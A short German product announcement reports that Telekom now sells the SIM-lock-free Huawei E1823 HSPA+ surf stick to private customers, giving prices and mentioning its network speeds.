Product & Service Introduction:
===============================
Lange Zeit war der sehr beliebte HSPA+ Surfstick Huawei E1823 alias Web`n`Walk Stick Business nur für Geschäftskunden 
verfügbar – zumindest wenn man ihn direkt über die Telekom bestellen wollte. Mit der heutigen Ankündigung, dass UMTS 
Netz ab sofort auf 21,6Mbit/s aufgerüstet zu haben, musste natürlich auch  eine Bezugsmöglichkeit für Privatkunden her. 
So gibt es den bis zu 28,8Mbit/s schnellen Stick nun direkt bei der Telekom für 69,95€ ohne Vertrag bzw. für 4,95€ mit 
einem Datenvertrag. Der Stick hat keinen Simlock, kann also mit jeder Karte und in jedem Netz verwendet werden. 
Die Telekom preist auf der Produktseite des Sticks auch die Möglichkeit der weltweiten Nutzung an, die durch die 
vielen unterstützen Funkfrequenzen möglich wird.
